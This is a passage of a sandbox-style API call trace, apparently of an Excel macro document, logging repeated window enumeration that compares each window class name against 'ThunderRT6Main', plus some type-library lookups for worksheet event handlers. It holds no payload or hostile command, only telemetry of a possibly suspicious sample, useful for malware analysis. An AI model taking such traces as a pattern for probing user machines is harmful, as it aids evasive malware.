lpClassName="shotsWorsenh") returned 12 [0107.903] lstrcmpA (lpString1="shotsWorsenh", lpString2="ThunderRT6Main") returned -1 [0107.903] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0107.903] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0107.903] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.903] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.903] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0107.903] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10164 [0107.903] GetClassNameA (in: hWnd=0x10164, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="shine_class") returned 11 [0107.903] lstrcmpA (lpString1="shine_class", lpString2="ThunderRT6Main") returned -1 [0107.903] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0107.903] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0107.903] GetClassNameA (in: hWnd=0x10166, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.903] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.903] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0107.903] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0107.903] GetClassNameA (in: hWnd=0x10160, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="waxpreparationcardiaccls") returned 24 [0107.903] lstrcmpA (lpString1="waxpreparationcardiaccls", lpString2="ThunderRT6Main") returned 1 [0107.903] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0107.903] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0107.903] GetClassNameA (in: hWnd=0x10162, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.903] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.903] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0107.903] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x1015c [0107.903] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="teRaywindow") returned 11 [0107.903] lstrcmpA (lpString1="teRaywindow", lpString2="ThunderRT6Main") returned -1 [0107.903] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0107.903] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x1015e [0107.903] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.903] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.904] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0107.904] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0xa0154 [0107.904] GetClassNameA (in: hWnd=0xa0154, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Summer_movie_ourselves_app") returned 26 [0107.904] lstrcmpA (lpString1="Summer_movie_ourselves_app", lpString2="ThunderRT6Main") returned -1 [0107.904] GetWindowThreadProcessId (in: hWnd=0xa0154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0107.904] GetWindow (hWnd=0xa0154, uCmd=0x2) returned 0x20158 [0107.904] GetClassNameA (in: hWnd=0x20158, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.904] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.904] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0107.904] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x2010a [0107.904] GetClassNameA (in: hWnd=0x2010a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="VidsRatingclass") returned 15 [0107.904] lstrcmpA (lpString1="VidsRatingclass", lpString2="ThunderRT6Main") returned 1 [0107.904] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0107.904] GetWindow (hWnd=0x2010a, uCmd=0x2) returned 0x10156 [0107.904] GetClassNameA (in: hWnd=0x10156, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.904] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.904] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0107.904] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x20116 [0107.904] GetClassNameA (in: hWnd=0x20116, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0107.904] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0107.904] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0107.904] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0107.904] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0107.904] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0107.904] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0107.904] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0107.904] GetClassNameA (in: hWnd=0x10148, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0107.904] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0107.904] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0107.904] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0107.904] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0107.904] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0107.904] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0107.904] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0107.905] GetClassNameA (in: hWnd=0x10132, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0107.905] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0107.905] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0107.905] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0107.905] GetClassNameA (in: hWnd=0x10134, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.905] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.905] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0107.905] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0107.905] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0107.905] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0107.905] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0107.905] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0107.905] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.905] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.905] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0107.905] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0107.905] GetClassNameA (in: hWnd=0x10120, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0107.905] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0107.905] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0107.905] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0107.905] GetClassNameA (in: hWnd=0x10122, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.905] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.905] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0107.905] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0107.905] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0107.905] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0107.905] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0107.905] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0107.905] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.905] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.905] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.905] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0107.906] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0107.906] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0107.906] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.906] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0107.906] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0107.906] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0107.906] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.906] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0107.906] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.906] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.906] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.906] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0107.906] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.906] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.906] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.906] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0107.906] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.906] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.906] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.906] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0107.906] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0107.906] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0107.906] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.906] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0107.906] GetClassNameA (in: hWnd=0x20018, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0107.906] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0107.906] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0107.906] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0107.906] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.906] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.906] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0107.906] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0107.906] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0107.906] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0107.906] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0107.906] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0107.906] GetClassNameA (in: hWnd=0x20016, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.906] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.907] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0107.907] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0107.907] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0107.907] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0107.907] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0107.907] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0107.907] GetClassNameA (in: hWnd=0x20108, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.907] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.907] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0107.907] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0107.907] GetClassNameA (in: hWnd=0x10106, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0107.907] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0107.907] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0107.907] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0107.907] GetClassNameA (in: hWnd=0x10102, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0107.907] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0107.907] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0107.907] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0107.907] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0107.907] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0107.907] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0107.907] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0107.907] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0107.907] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0107.907] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.907] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0107.907] GetClassNameA (in: hWnd=0x10084, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0107.907] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0107.907] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0107.907] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0107.907] GetClassNameA (in: hWnd=0x10082, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0107.907] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0107.907] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.908] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0107.908] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0107.908] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0107.908] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0107.908] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0107.908] GetClassNameA (in: hWnd=0x10080, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.908] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.908] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0107.908] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0107.908] GetClassNameA (in: hWnd=0x10076, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.908] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.908] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.908] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0107.908] GetClassNameA (in: hWnd=0x10064, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.908] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.908] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.908] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0107.908] GetClassNameA (in: hWnd=0x10110, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="#43") returned 3 [0107.908] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0107.908] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0107.908] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0107.908] GetClassNameA (in: hWnd=0x10112, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.908] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.908] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0107.908] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0107.908] GetClassNameA (in: hWnd=0x10060, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0107.908] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0107.908] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.908] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0107.908] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0107.908] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.909] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd22360 [0107.909] IMalloc:Free (This=0x7feffc15380, pv=0xbd22360) [0111.064] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4e00000284 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4e00000284) returned 0x0 [0111.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0111.064] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0111.064] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0111.064] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0111.066] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0111.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0111.066] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0111.066] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0111.066] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0111.168] GetCurrentThreadId () returned 0x8fc [0111.168] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0111.168] GetDesktopWindow () returned 0x10010 [0111.168] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10070 [0111.168] GetClassNameA (in: hWnd=0x10070, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.168] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.169] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.169] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10140 [0111.169] GetClassNameA (in: hWnd=0x10140, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0111.169] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0111.169] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0111.169] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0111.169] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.169] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.169] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0111.169] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0111.169] GetClassNameA (in: hWnd=0x10138, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0111.169] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0111.169] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0111.169] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0111.169] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.169] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.169] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.169] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0111.169] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.169] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.169] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.169] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0111.169] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.169] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.169] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.169] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0111.169] GetClassNameA (in: hWnd=0x10072, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.169] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.170] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.170] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x1005c [0111.170] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.170] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.170] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.170] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0111.170] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.170] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.170] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.170] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0111.170] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.170] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.170] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.170] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0111.170] GetClassNameA (in: hWnd=0x10078, lpClassName=0x24c490, 